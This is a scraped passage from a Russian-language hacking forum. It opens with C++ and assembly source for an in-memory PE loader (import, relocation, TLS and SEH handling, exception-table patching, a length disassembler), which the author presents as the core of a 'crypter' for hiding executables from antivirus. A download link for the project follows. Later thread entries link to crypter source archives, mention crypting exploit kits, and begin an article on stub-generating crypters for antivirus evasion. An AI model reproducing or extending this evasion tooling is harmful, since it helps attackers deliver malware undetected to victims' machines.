            PDWORD_PTR pImport = (Import->OriginalFirstThunk ? (PDWORD_PTR)((DWORD_PTR)pDos + Import->OriginalFirstThunk) : (PDWORD_PTR)((DWORD_PTR)pDos + Import->FirstThunk));
            PDWORD_PTR pAddress = (PDWORD_PTR)((DWORD_PTR)pDos + Import->FirstThunk);

            while (*pImport)
            {
                DWORD_PTR FuncAddress = NULL;

#ifdef _WIN64
                if ((*pImport & IMAGE_ORDINAL_FLAG64)) // ordinal
#else
                if ((*pImport & IMAGE_ORDINAL_FLAG32)) // ordinal
#endif
                {
                    DWORD_PTR Ordinal = (*pImport & 0xFFFF);

                    FuncAddress = (DWORD_PTR)Procs->GetProcAddress(Dll, (PCHAR)Ordinal);
                }else{
                    PCHAR FuncName = (PCHAR)((DWORD_PTR)pDos + *pImport + 2);

                    FuncAddress = (DWORD_PTR)Procs->GetProcAddress(Dll, FuncName);
                }

                *pAddress++ = FuncAddress;

                pImport++;
            }

            Import++;
        }
    }
}

Обрабатываем таблицу импорта тушки.
В том числе и по ординалу для всяких модулей вроде comctl32 и прочих.
Многие делают это не совсем правильно. Вот правильный вариант.

C++:Copy to clipboard

VOID __fastcall process_relocs(PVOID ImageData)
{
    PIMAGE_DOS_HEADER pDos = (PIMAGE_DOS_HEADER)ImageData;
    PIMAGE_NT_HEADERS pNt = (PIMAGE_NT_HEADERS)((DWORD_PTR)pDos + pDos->e_lfanew);

    PIMAGE_BASE_RELOCATION BaseRelocs = (PIMAGE_BASE_RELOCATION)((DWORD_PTR)pDos + pNt->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC].VirtualAddress);

    INT_PTR Delta;

    if (BaseRelocs!=(PIMAGE_BASE_RELOCATION)pDos)
    {
        PIMAGE_BASE_RELOCATION Reloc = BaseRelocs;

        Delta = (INT_PTR)ImageData - pNt->OptionalHeader.ImageBase;

        do
        {
            PIMAGE_FIXUP_ENTRY Fixup = (PIMAGE_FIXUP_ENTRY)((DWORD_PTR)Reloc + sizeof(IMAGE_BASE_RELOCATION));
            for (int r = 0, sz = (Reloc->SizeOfBlock - sizeof(IMAGE_BASE_RELOCATION)) >> 1; r < sz; r++)
            {
                if (Fixup->Type == IMAGE_REL_BASED_HIGHLOW)
                {
                    *(PINT)((DWORD_PTR)pDos + Reloc->VirtualAddress + Fixup->Offset) += Delta;
                }else if (Fixup->Type==IMAGE_REL_BASED_DIR64)
                {
                    if(Reloc->VirtualAddress + Fixup->Offset==0x63D88 )
                    {
                        Delta = (INT)ImageData - pNt->OptionalHeader.ImageBase;
                    }
                    *(PINT_PTR)((DWORD_PTR)pDos + Reloc->VirtualAddress + Fixup->Offset) += Delta;
                }

                Fixup++;
            }

            Reloc = (PIMAGE_BASE_RELOCATION)((DWORD_PTR)Reloc + Reloc->SizeOfBlock);
        } while (Reloc->VirtualAddress);
    }
}

Обрабатываем таблицу смещений.

C++:Copy to clipboard

VOID __fastcall process_tls(KernelProcs* Procs,PVOID ImageData)
{
    PIMAGE_DOS_HEADER pDos = (PIMAGE_DOS_HEADER)ImageData;
    PIMAGE_NT_HEADERS pNt = (PIMAGE_NT_HEADERS)((DWORD_PTR)pDos + pDos->e_lfanew);

    PIMAGE_TLS_DIRECTORY Tls = (PIMAGE_TLS_DIRECTORY)((DWORD_PTR)pDos + pNt->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_TLS].VirtualAddress);

    if( Tls!=(PIMAGE_TLS_DIRECTORY)pDos )
    {
        PBYTE pTlsData = (PBYTE)Procs->VirtualAlloc(NULL,Tls->EndAddressOfRawData - Tls->StartAddressOfRawData,MEM_COMMIT,PAGE_READWRITE);

        if( pTlsData )
        {
            mem_copy(pTlsData,Tls->StartAddressOfRawData,Tls->EndAddressOfRawData - Tls->StartAddressOfRawData);

            Procs->TlsSetValue(Procs->TlsAlloc(),pTlsData);

            PDWORD_PTR Ptrs = (PDWORD_PTR)Procs->VirtualAlloc(NULL,1088*sizeof(DWORD_PTR),MEM_COMMIT,PAGE_READWRITE);
            if( Ptrs )
            {
                if( *(PDWORD_PTR)Tls->AddressOfIndex==-1 )
                {
                    Ptrs[0] = (DWORD_PTR)pTlsData;
                }else{
                    Ptrs[ *(PDWORD_PTR)Tls->AddressOfIndex ] = (DWORD_PTR)pTlsData;
                }

                // http://svn.netlabs.org/repos/libc/trunk/libc/include/klibc/nt/fib.h
#ifdef _WIN64
                __writegsqword(0x58,(DWORD_PTR)Ptrs);
#else
                __writefsdword(0x2C,(DWORD_PTR)Ptrs);
#endif
            }
        }
    }
}

Обрабатываем TLS колбеки.
На неумении обрабатывать TLS сыпятся очень многие крипторы.
Эта функция обрабатывает основные типы TLS колбеков и таким образом многократно увеличивает покрытие файлов с TLS.

C++:Copy to clipboard

#ifdef _WIN64
            PIMAGE_DOS_HEADER pNtdllDos = (PIMAGE_DOS_HEADER)Ntdll;
            PIMAGE_NT_HEADERS pNtdllNt = (PIMAGE_NT_HEADERS)((DWORD_PTR)pNtdllDos + pNtdllDos->e_lfanew);

            PIMAGE_SECTION_HEADER pTextSection = IMAGE_FIRST_SECTION(pNtdllNt);

            PVOID LdrpInvertedFunctionTable = NULL;

            PBYTE stext = (PBYTE)((DWORD_PTR)pNtdllDos + pTextSection->VirtualAddress);
            for(int i = 0; i < pTextSection->Misc.VirtualSize; i++)
            {
                if( *(stext + i)==0xE8 )
                {
                    DWORD_PTR Address = (DWORD_PTR)((INT_PTR)stext + i + 5 + *(PINT32)(stext + i + 1));
                    if( Address==(DWORD_PTR)kprocs.AcquireSRWLockShared )
                    {
                        PBYTE pMov = stext + i + 5;
                        PBYTE pStart = pMov;

                        if( *pMov==0x44 ) pMov++; // mov r9d
                        if( *pMov==0x8B )
                        {
                            pMov++;

                            if( *pMov==0x0D || *pMov==0x15 )
                            {
                                pMov++;

                                LdrpInvertedFunctionTable = (PVOID)((INT_PTR)pStart + (pMov - (stext + i + 5)) + 4 + *(PINT32)pMov);
                                break;
                            }
                        }
                    }
                }
            }

Тут снова важный момент. [Подробнее тут.](https://docs.microsoft.com/en- us/windows/win32/api/synchapi/nf-synchapi-acquiresrwlockshared)

Цитата с хабра: RWLock — это такой примитив синхронизации, позволяющий одновременное чтение и эксклюзивную запись. Т.е. чтение блокирует запись, но не блокирует чтение других тредов, а запись блокирует все.

Click to expand...

Обработка секции кода с помощью AcquireSRWLockShared, чтобы правильно готовить синхронизацию на чтение и запись.

C++:Copy to clipboard

            __debugbreak();

            if( LdrpInvertedFunctionTable )
            {
                __debugbreak();
                if( Peb->OSMajorVersion==6 && Peb->OSMinorVersion > 1 ) // 8++
                {
                    PRTL_INVERTED_FUNCTION_TABLE8 table = (PRTL_INVERTED_FUNCTION_TABLE8)LdrpInvertedFunctionTable;
                    for(int i = 0; i < table->Count; i++)
                    {
                        if( table->Entries[i].ImageBase==(PVOID)Base )
                        {
                            table->Entries[i].ImageBase = NewImageBase;
                            table->Entries[i].ImageSize = pNewNt->OptionalHeader.SizeOfImage;
                            table->Entries[i].ExceptionDirectory = (PIMAGE_RUNTIME_FUNCTION_ENTRY)((DWORD_PTR)NewImageBase + pNewNt->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXCEPTION].VirtualAddress);
                            table->Entries[i].ExceptionDirectorySize = pNewNt->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXCEPTION].Size;
                            break;
                        }
                    }
                }else{ // < 7
                    PRTL_INVERTED_FUNCTION_TABLE7 table = (PRTL_INVERTED_FUNCTION_TABLE7)LdrpInvertedFunctionTable;
                    for(int i = 0; i < table->Count; i++)
                    {
                        if( table->Entries[i].ImageBase==(PVOID)Base )
                        {
                            table->Entries[i].ImageBase = NewImageBase;
                            table->Entries[i].ImageSize = pNewNt->OptionalHeader.SizeOfImage;
                            table->Entries[i].ExceptionDirectory = (PIMAGE_RUNTIME_FUNCTION_ENTRY)((DWORD_PTR)NewImageBase + pNewNt->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXCEPTION].VirtualAddress);
                            table->Entries[i].ExceptionDirectorySize = pNewNt->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXCEPTION].Size;
                            break;
                        }
                    }
                }
            }
#endif

Правильная обработка таблицы исключений для Peb->OSMajorVersion==6 && Peb->OSMinorVersion > 1 // 8++.

C++:Copy to clipboard

#ifndef _WIN64

            // remove SAFESEH if exists
            if( pNewNt->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG].VirtualAddress )
            {
                pNewNt->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG].VirtualAddress = NULL;
                pNewNt->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG].Size = NULL;
            }

            // restore seh
            PSEH_FRAME Seh = (PSEH_FRAME)__readfsdword(0);
            while( IN_DLL(Seh->Callback,Base,Base + SizeOfBase) )
            {
                Seh = Seh->Next;
            }
            __writefsdword(0,(DWORD_PTR)Seh);

            // find ebp end
            PSTACK_FRAME Ebp = (PSTACK_FRAME)read_ebp();
            while( !IN_DLL(Ebp->ReturnAddress,Kernel32,Kernel32Ends) && !IN_DLL(Ebp->ReturnAddress,Ntdll,NtdllEnds) )
            {
                Ebp = Ebp->Next;
            }

            restore_regs(Ebp,(pNt->FileHeader.Characteristics & IMAGE_FILE_DLL),PrologLocalVarsSize,(DWORD_PTR)NewImageBase + pNt->OptionalHeader.AddressOfEntryPoint);
#else
            restore_regs(
                SaveRegs,(pNt->FileHeader.Characteristics & IMAGE_FILE_DLL),(DWORD_PTR)NewImageBase + pNt->OptionalHeader.AddressOfEntryPoint);
#endif
        }

        kprocs.VirtualFree(SavedFile,NULL,MEM_RELEASE);
    }
}

Правильно обрабатываем SEH.

Code:Copy to clipboard

restore_regs proc EbpFrame,IsDll,PrologSize,Ep
    ; ecx - ebp
    ; edx - is dll
    ; stack - Ep
    ;int 3

    mov ecx, EbpFrame
    .if IsDll
        ; skip mov esi, esp, after all regs will restored
        add dword ptr [ecx + 4], 2
    .else
        ; msvc2008
        mov edx, ecx
        sub edx, PrologSize
        mov ebx , dword ptr [edx - 014h]
        mov esi , dword ptr [edx - 018h]
        mov edi , dword ptr [edx - 01Ch]
    .endif
    
    mov edx, Ep
    
    ; correct stack
    mov ebp, dword ptr [ecx]
    lea esp, [ecx + 4]
    
    ;int 3
    jmp edx
restore_regs endp

restore_regs - Восстанавливаем пролог, корректируем стек и переходим по точке входа в замепленномый образ.

C++:Copy to clipboard

#ifdef _WIN64
PDWORD_PTR __fastcall find_next_rsp(PDWORD_PTR regs,PDWORD_PTR Rsp)
{
    ldasm_data dasm;

    dasm.lde_flags_table = lde_get_table();
    dasm.lde_flags_table_ex = lde_get_table_ex();

    PBYTE pCode = (PBYTE)*Rsp; // return address
    DWORD len = 0;
    DWORD r11;

    Rsp = Rsp + 1;

    do
    {
        pCode = pCode + len;
    
        len = lde_length(&dasm,LDE_CPU_TYPE_X64,pCode);
        if( !len )
            return NULL;

        DWORD Step = 0;
        DWORD creg,offset;

        if( len==8 )
        {
            /*
            .text:0000000140001DB1 48 8B 84 24 98 01 00 00                       mov     rax, [rsp+198h]
            .text:0000000140001DB9 48 8B 8C 24 98 01 00 00                       mov     rcx, [rsp+198h]
            .text:0000000140001DC1 48 8B 94 24 98 01 00 00                       mov     rdx, [rsp+198h]
            .text:0000000140001DC9 48 8B 9C 24 98 01 00 00                       mov     rbx, [rsp+198h]
            .text:0000000140001DD1 48 8B A4 24 98 01 00 00                       mov     rsp, [rsp+198h]
            .text:0000000140001DD9 48 8B AC 24 98 01 00 00                       mov     rbp, [rsp+198h]
            .text:0000000140001DE1 48 8B B4 24 98 01 00 00                       mov     rsi, [rsp+198h]
            .text:0000000140001DE9 48 8B BC 24 98 01 00 00                       mov     rdi, [rsp+198h]

            .text:0000000140001DF1 4C 8B 84 24 98 01 00 00                       mov     r8, [rsp+198h]
            .text:0000000140001DF9 4C 8B 8C 24 98 01 00 00                       mov     r9, [rsp+198h]
            .text:0000000140001E01 4C 8B 94 24 98 01 00 00                       mov     r10, [rsp+198h]
            .text:0000000140001E09 4C 8B 9C 24 98 01 00 00                       mov     r11, [rsp+198h]
            .text:0000000140001E11 4C 8B A4 24 98 01 00 00                       mov     r12, [rsp+198h]
            .text:0000000140001E19 4C 8B AC 24 98 01 00 00                       mov     r13, [rsp+198h]
            .text:0000000140001E21 4C 8B B4 24 98 01 00 00                       mov     r14, [rsp+198h]
            .text:0000000140001E29 4C 8B BC 24 98 01 00 00                       mov     r15, [rsp+198h]
            */
            if( (*(PWORD)pCode==0x8B48 || *(PWORD)pCode==0x8B4C) && pCode[3]==0x24 )
            {
                if( *pCode==0x4C ) Step += r_step;

                creg   = (*(pCode + 2) - 0x84)/8;
                offset = *(PDWORD)(pCode + 4);

                regs[Step + creg] = *(PDWORD_PTR)((PBYTE)Rsp + offset);
            }
            /*
            .text:0000000140001D01 48 8D 84 24 98 01 00 00                       lea     rax, [rsp+198h]
            .text:0000000140001D09 48 8D 8C 24 98 01 00 00                       lea     rcx, [rsp+198h]
            .text:0000000140001D11 48 8D 94 24 98 01 00 00                       lea     rdx, [rsp+198h]
            .text:0000000140001D19 48 8D 9C 24 98 01 00 00                       lea     rbx, [rsp+198h]
            .text:0000000140001D21 48 8D A4 24 98 01 00 00                       lea     rsp, [rsp+198h]
            .text:0000000140001D29 48 8D AC 24 98 01 00 00                       lea     rbp, [rsp+198h]
            .text:0000000140001D31 48 8D B4 24 98 01 00 00                       lea     rsi, [rsp+198h]
            .text:0000000140001D39 48 8D BC 24 98 01 00 00                       lea     rdi, [rsp+198h]

            .text:0000000140001D41 4C 8D 84 24 98 01 00 00                       lea     r8, [rsp+198h]
            .text:0000000140001D49 4C 8D 8C 24 98 01 00 00                       lea     r9, [rsp+198h]
            .text:0000000140001D51 4C 8D 94 24 98 01 00 00                       lea     r10, [rsp+198h]
            .text:0000000140001D59 4C 8D 9C 24 98 01 00 00                       lea     r11, [rsp+198h]
            .text:0000000140001D61 4C 8D A4 24 98 01 00 00                       lea     r12, [rsp+198h]
            .text:0000000140001D69 4C 8D AC 24 98 01 00 00                       lea     r13, [rsp+198h]
            .text:0000000140001D71 4C 8D B4 24 98 01 00 00                       lea     r14, [rsp+198h]
            .text:0000000140001D79 4C 8D BC 24 98 01 00 00                       lea     r15, [rsp+198h]
            */
            if( (*(PWORD)pCode==0x8D48 || *(PWORD)pCode==0x8D4C) && pCode[3]==0x24 )
            {
                if( *pCode==0x4C ) Step += r_step;

                creg   = (*(pCode + 2) - 0x84)/8;
                offset = *(PDWORD)(pCode + 4);

                regs[Step + creg] = (DWORD_PTR)Rsp + offset;
            }
        }else if( len==5 )
        {
            /*
            .text:0000000140001D61 48 8B 44 24 11                                mov     rax, [rsp+11h]
            .text:0000000140001D66 48 8B 4C 24 11                                mov     rcx, [rsp+11h]
            .text:0000000140001D6B 48 8B 54 24 11                                mov     rdx, [rsp+11h]
            .text:0000000140001D70 48 8B 5C 24 11                                mov     rbx, [rsp+11h]
            .text:0000000140001D75 48 8B 64 24 11                                mov     rsp, [rsp+11h]
            .text:0000000140001D7A 48 8B 6C 24 11                                mov     rbp, [rsp+11h]
            .text:0000000140001D7F 48 8B 74 24 11                                mov     rsi, [rsp+11h]
            .text:0000000140001D84 48 8B 7C 24 11                                mov     rdi, [rsp+11h]

            .text:0000000140001D89 4C 8B 44 24 11                                mov     r8, [rsp+11h]
            .text:0000000140001D8E 4C 8B 4C 24 11                                mov     r9, [rsp+11h]
            .text:0000000140001D93 4C 8B 54 24 11                                mov     r10, [rsp+11h]
            .text:0000000140001D98 4C 8B 5C 24 11                                mov     r11, [rsp+11h]
            .text:0000000140001D9D 4C 8B 64 24 11                                mov     r12, [rsp+11h]
            .text:0000000140001DA2 4C 8B 6C 24 11                                mov     r13, [rsp+11h]
            .text:0000000140001DA7 4C 8B 74 24 11                                mov     r14, [rsp+11h]
            .text:0000000140001DAC 4C 8B 7C 24 11                                mov     r15, [rsp+11h]
            */
            if( (*(PWORD)pCode==0x8B48 || *(PWORD)pCode==0x8B4C) && pCode[3]==0x24 )
            {
                if( *pCode==0x4C ) Step += r_step;

                creg   = (*(pCode + 2) - 0x44)/8;
                offset = *(pCode + 4);

                regs[Step + creg] = *(PDWORD_PTR)((PBYTE)Rsp + offset);
            }
            /*
            .text:0000000140001CB1 48 8D 44 24 11                                lea     rax, [rsp+11h]
            .text:0000000140001CB6 48 8D 4C 24 11                                lea     rcx, [rsp+11h]
            .text:0000000140001CBB 48 8D 54 24 11                                lea     rdx, [rsp+11h]
            .text:0000000140001CC0 48 8D 5C 24 11                                lea     rbx, [rsp+11h]
            .text:0000000140001CC5 48 8D 64 24 11                                lea     rsp, [rsp+11h]
            .text:0000000140001CCA 48 8D 6C 24 11                                lea     rbp, [rsp+11h]
            .text:0000000140001CCF 48 8D 74 24 11                                lea     rsi, [rsp+11h]
            .text:0000000140001CD4 48 8D 7C 24 11                                lea     rdi, [rsp+11h]

            .text:0000000140001CD9 4C 8D 44 24 11                                lea     r8, [rsp+11h]
            .text:0000000140001CDE 4C 8D 4C 24 11                                lea     r9, [rsp+11h]
            .text:0000000140001CE3 4C 8D 54 24 11                                lea     r10, [rsp+11h]
            .text:0000000140001CE8 4C 8D 5C 24 11                                lea     r11, [rsp+11h]
            .text:0000000140001CED 4C 8D 64 24 11                                lea     r12, [rsp+11h]
            .text:0000000140001CF2 4C 8D 6C 24 11                                lea     r13, [rsp+11h]
            .text:0000000140001CF7 4C 8D 74 24 11                                lea     r14, [rsp+11h]
            .text:0000000140001CFC 4C 8D 7C 24 11                                lea     r15, [rsp+11h]
            */
            if( (*(PWORD)pCode==0x8D48 || *(PWORD)pCode==0x8D4C) && pCode[3]==0x24 )
            {
                if( *pCode==0x4C ) Step += r_step;

                creg   = (*(pCode + 2) - 0x44)/8;
                offset = *(pCode + 4);

                regs[Step + creg] = (DWORD_PTR)Rsp + offset;
            }
        }else if( len==1 || len==2 )
        {
            /*
            .text:0000000140001D61 58                                            pop     rax
            .text:0000000140001D62 59                                            pop     rcx
            .text:0000000140001D63 5A                                            pop     rdx
            .text:0000000140001D64 5B                                            pop     rbx
            .text:0000000140001D65 5C                                            pop     rsp
            .text:0000000140001D66 5D                                            pop     rbp
            .text:0000000140001D67 5E                                            pop     rsi
            .text:0000000140001D68 5F                                            pop     rdi
            .text:0000000140001D69 41 58                                         pop     r8
            .text:0000000140001D6B 41 59                                         pop     r9
            .text:0000000140001D6D 41 5A                                         pop     r10
            .text:0000000140001D6F 41 5B                                         pop     r11
            .text:0000000140001D71 41 5C                                         pop     r12
            .text:0000000140001D73 41 5D                                         pop     r13
            .text:0000000140001D75 41 5E                                         pop     r14
            .text:0000000140001D77 41 5F                                         pop     r15
            */
            BOOL next = FALSE;
            if( *pCode>=0x5B && *pCode<=0x5F ) // only rbp - rdi
            {
                next = true;
                creg = *pCode - 0x58;
            }else if( *pCode==0x41 && *(pCode + 1)>=0x5C && *(pCode + 1)<=0x5F) // only r12-r15
            {
                next = true;
                creg = *(pCode + 1) - 0x58;
                Step += r_step;
            }

            if( next )
            {
                regs[Step + creg] = *(PDWORD_PTR)Rsp;
                Rsp = Rsp + 1;
            }
        }else if (len==4 && *pCode==0x48 && *(PWORD)(pCode + 1)==0xC483 )
        {
            // .text:0000000140001C51 48 83 C4 28                                   add     rsp, 28h

            Rsp = (PDWORD_PTR)((PBYTE)Rsp + pCode[3]);
        }else if( len==7 && *pCode==0x48 && *(PWORD)(pCode + 1)==0xC481 )
        {
            // .text:0000000140001BE6 48 81 C4 88 00 00 00                          add     rsp, 88h

            Rsp = (PDWORD_PTR)((PBYTE)Rsp + *(PDWORD)(pCode + 3) );
        }else if( len==3 && *pCode==0x49 && *(PWORD)(pCode + 1)==0xE38B )
        {
            //.text:0000000140002680 49 8B E3                                      mov     rsp, r11
            Rsp = (PDWORD_PTR)regs[r_r11];
        }

    } while (*pCode!=0xC3);

    regs[r_rsp] = (DWORD_PTR)Rsp;

    return Rsp;
}

Для x64 PE находим Rsp.

C++:Copy to clipboard

DWORD __fastcall lde_length(ldasm_data *ld,LDE_CPU_TYPE CpuType, PVOID Memory)
{
    BYTE *p = (PBYTE)Memory;
    BYTE s, op, f;
    BYTE rexw, pr_66, pr_67;

    s = rexw = pr_66 = pr_67 = 0;

    /* dummy check */
    if (!Memory)
        return 0;

    /* init output data */
    mem_zero(ld, sizeof(ldasm_data) - sizeof(PBYTE) - sizeof(PBYTE));

    /* phase 1: parse prefixies */
    while (ld->lde_flags_table[*p] & OP_PREFIX)
    {
        if (*p == 0x66)
            pr_66 = 1;
        if (*p == 0x67)
            pr_67 = 1;

        p++; s++;
        ld->flags |= F_PREFIX;

        if (s == 15) {
            ld->flags |= F_INVALID;
            return s;
        }
    }

    /* parse REX prefix */
    if (CpuType == LDE_CPU_TYPE_X64 && *p >> 4 == 4)
    {
        ld->rex = *p;
        rexw = (ld->rex >> 3) & 1;
        ld->flags |= F_REX;
        p++; s++;
    }

    /* can be only one REX prefix */
    if (CpuType == LDE_CPU_TYPE_X64 && *p >> 4 == 4)
    {
        ld->flags |= F_INVALID;
        s++;
        return s;
    }

    /* phase 2: parse op Memory */
    ld->opcd_offset = (BYTE)(p - (BYTE*)Memory);
    ld->opcd_size = 1;
    op = *p++; s++;

    /* is 2 byte opcede? */
    if (op == 0x0F)
    {
        op = *p++; s++;
        ld->opcd_size++;
        f = ld->lde_flags_table_ex[op];
        if (f & OP_INVALID){
            ld->flags |= F_INVALID;
            return s;
        }
        /* for SSE instructions */
        if (f & OP_EXTENDED) {
            op = *p++; s++;
            ld->opcd_size++;
        }
    }
    else {
        f = ld->lde_flags_table[op];
        /* pr_66 = pr_67 for opMemorys A0-A3 */
        if (op >= 0xA0 && op <= 0xA3)
            pr_66 = pr_67;
    }

    /* phase 3: parse ModR/M, SIB and DISP */
    if (f & OP_MODRM) {
        BYTE mod = (*p >> 6);
        BYTE ro = (*p & 0x38) >> 3;
        BYTE rm = (*p & 7);

        ld->modrm = *p++; s++;
        ld->flags |= F_MODRM;

        /* in F6,F7 opMemorys immediate data present if R/O == 0 */
        if (op == 0xF6 && (ro == 0 || ro == 1))
            f |= OP_DATA_I8;
        if (op == 0xF7 && (ro == 0 || ro == 1))
            f |= OP_DATA_I16_I32_I64;

        /* is SIB byte exist? */
        if (mod != 3 && rm == 4 && !(!CpuType == LDE_CPU_TYPE_X64 && pr_67)) {
            ld->sib = *p++; s++;
            ld->flags |= F_SIB;

            /* if base == 5 and mod == 0 */
            if ((ld->sib & 7) == 5 && mod == 0) {
                ld->disp_size = 4;
            }
        }


        if (!mod)
        {
            if (CpuType == LDE_CPU_TYPE_X64) {
                if (rm == 5) {
                    ld->disp_size = 4;
                    if (CpuType == LDE_CPU_TYPE_X64)
                        ld->flags |= F_RELATIVE;
                }
            }
            else if (pr_67) {
                if (rm == 6)
                    ld->disp_size = 2;
            }
            else {
                if (rm == 5)
                    ld->disp_size = 4;
            }
        }
        else if (mod == 1)
        {
            ld->disp_size = 1;
        }
        else if (mod == 2)
        {
            if (CpuType == LDE_CPU_TYPE_X64)
                ld->disp_size = 4;
            else if (pr_67)
                ld->disp_size = 2;
            else
                ld->disp_size = 4;
        }

        if (ld->disp_size) {
            ld->disp_offset = (BYTE)(p - (BYTE *)Memory);
            p += ld->disp_size;
            s += ld->disp_size;
            ld->flags |= F_DISP;
        }
    }

    /* phase 4: parse immediate data */
    if (rexw && f & OP_DATA_I16_I32_I64)
        ld->imm_size = 8;
    else if (f & OP_DATA_I16_I32 || f & OP_DATA_I16_I32_I64)
        ld->imm_size = 4 - (pr_66 << 1);

    /* if exist, add OP_DATA_I16 and OP_DATA_I8 size */
    ld->imm_size += f & 3;

    if (ld->imm_size) {
        s += ld->imm_size;
        ld->imm_offset = (BYTE)(p - (BYTE *)Memory);
        ld->flags |= F_IMM;
        if (f & OP_RELATIVE)
            ld->flags |= F_RELATIVE;
    }

    /* instruction is too long */
    if (s > 15)
    {
        ld->flags |= F_INVALID;
        s = 0;
    }

    return s;
}

Дизассемлер длин.

Что касается преимуществ данного способа меппинга - это отсутствие вызовов, таких как порождение нового процесса или получение и смена контекста, работа с потоками, на которые могли бы триггерить проактивки.
Для более скрытного использования загрузчика можно подружить его в syscallы и будет вообще малина.

Скачать проект можно тут: https://gofile.io/d/CxBJFb
В этот раз для получения пароля на архив нужно немножко больше навыков, чем юзать онлайн encode-decode утилиты, зато интересно и по-приколу =D.

Дано массив размером 10
Инициализатор генератора случайных чисел на 0x1337 (seed).
Пароль это результат суммы всех сгенерированных случайных чисел массива в виде хэша от алгоритма whirlpool в lowercase.
На выходе должно получиться что-то вроде 5350b5db7c67126b3c910cbf2..........................................................aed190a232756b082652e4f0c0fcf333c1990ba05c7febf (всего 206 символов).
Хэш от строки в whirlpool можно получить тут https://www.tools4noobs.com/online_tools/hash/.

Пример питон скрипта который можно дописать:

Python:Copy to clipboard

import random as r
SIZE = 10
rnd_seed = int(0x1337)
r.seed(a=rnd_seed)
result = 0
array = [r.randint(1, 10) for _ in range (SIZE)]

Собирался проект на VC2010.
Для правильной работы Custom build Rules(инлайн масма) нужно скопировать файлы
"masm64.rules"
"masm32.rules"
в C:\Program Files (x86)\MSBuild\Microsoft.Cpp\v4.0\BuildCustomizations.
[Подробнее тут.](https://devblogs.microsoft.com/cppblog/quick-help-on- vs2010-custom-build-rule/)

В архиве намеренно отсутствует файл get_first_section.exe - его задача вытащить сырой блок кода из секции кода, считай дампер шеллкода, но это совсем для ленивых и я не рекомендую вам использовать автоматизацию в таких случаях.
Проще загрузить собранный загрузчик в x32\x64dbg и ручками его вытащить и сохранить - это ваше домашнее задание.

Вместо заключения:
В коде сознательно присутствуют некоторые ошибки от дураков, чтобы не копипастили бездумно. Просьба не шарить исправленный.
Ответственно могу заявить, что перед вами наиболее полный из возможных, загрзчик бинариков в память на сегодняший день (не считая виндового :)).
Как итог, скомбинировав проект криптора из прошлой статьи с загрузчиком из этой статьи, можно получить свой полноценный криптор.
Как-нибудь в другой раз мы рассмотрим процесс морфинга шеллкода и алгоритмы и способы антиэмуляции, но это уже тема для дугой статьи :)
Спасибо за внимание.

Исходники Крипторов
ID: 6764df13b4103b69df3717f3
Thread ID: 17189
Created: 2009-03-20T22:19:04+0000
Last Post: 2023-11-24T12:54:08+0000
Author: BlagJack
Replies: 41 Views: 32K

SafeGuard Source

Morphnach Source (FASM)

Carbon Crypter 1.7 Source
http://depositfiles.com/files/52rh3ybt3

Shadow Crypter Private Version Source Code

http://rapidshare.de/files/41197138/Shadow...OLD_Aj.rar.html

Anskya Polymorphic Packer 1.3
BE 1.3
Crypter 3.1
Ex Binder 0.1
File Joiner
FileCrypterPro by Aphex
GHF Protector
Open Source Code Crypter 1.0
Pecrypt
pScrambler 1.2 by p0ke
SmokesCrypter 1.2
Spider Small Binder
Super Crypt 1.0 by

Download: http://www.sendspace.com/file/7fcnie
Pass: Fland+
UnDo Cryptor Source
http://rapidshare.com/files/145866100/UnDo...Source.rar.html

Morphine v2.7 by Holy_Father

Коч-коч

Крипт сплоитов\связок (js,php)
ID: 6764df13b4103b69df37184e
Thread ID: 15225
Created: 2008-07-05T14:35:18+0000
Last Post: 2023-01-25T16:12:12+0000
Author: Одинокий Волк
Replies: 92 Views: 31K

Создал отдельную тему в связи с её актуальностью.

Пишем криптор который сам себе делает стабы
ID: 6764df13b4103b69df371882
Thread ID: 32769
Created: 2019-10-27T11:56:59+0000
Last Post: 2021-06-28T10:51:28+0000
Author: Crypto Locker
Prefix: Статья
Replies: 66 Views: 30K

Всем привет, это моя вторая статья, давно я решил написать криптор для дотнет софта, просто для
эксперемента. Да не просто криптор, а криптор с функцией генерации стаба! и не просто рандомное имя переменным, а
трешген, методы запуска софта и прочее! Сподвигло меня начать писать крипторы желание посмотреть что из этого выйдет, и
то, что я видел просто кучу топиков с продажей крипта от всяких ноунеймов за два бакса.

Больше всего меня удивляют те люди, которые ещё и умдряются кидать на крипт, это нужно быть
сверх разумом. Ну возмжно мне не понять, возможно это отдельная секта людей для которых тут важно лишь
одно -- деньги. Поговорим немного по поводу всяких сервисов по крипту. Обычно они пишут стаб раз в неделю и
криптуют файлы этим стабом, идея криптора которая будет описанна в этой статье значительно упрощает жизнь
таким людям. Для чистки криптора достаточно совсем немного воображения, и чисткой нужно будет заниматься
раз в месяц-два это минимум.

Идея криптора в том, что он будет сам себе создавать стаб, криптор для C# работает на основе генерации треш кода,
а криптор для C++ работает на основе генерации большого алгоритма шифрования. Это был просто эксперимент, и
что из этого получилось вы сможете прочитать ниже.

В процессе написания крипторов такого рода я понял что антивирусы не любят рандом =)
Ещё антивирусы как и раньше ведутся на трешкод и тайминг атаки, но только если всё это сделанно
качественно а не на коленке. Надеюсь вам будет интересно читать эту статью. Посмотрим что из этого выйдет
Моё мнение по поводу антивирусов и вообще того, что там происходит будет в конце статьи.

**Термины

Криптор: **софт который убирает скантайм детекты у файла и по возможности не добавляет новыйх рантайм детектов.
Стаб: маска закриптованного файла, обычно содержит немного антиэмуля, алгоритм шифрования и сам массив байтов файла.
Алгоритм шифрования: ну в крипторах идеальным алгоритмом шифрования является такой алгоритм, который аверы не смогут понять,
которыйх хорошо скрывает настоящий буффер и который долго отрабатывает (для обхода ав-вм).
Трешген: код который создаёт мусорный\рандомный код, это для запутывания ав, такой код называвается Трешкод
Трешкод: сам рандомный код, его добавляют в софт чтобы сбить сигнатурные детекты, привести в тупик
ав-вм.
Метод запуска: код который запускает в памяти другой файл используя лишь массив байтов, хороший вариант такого кода это
LoadPE

dotNet(жил 3 месяца)

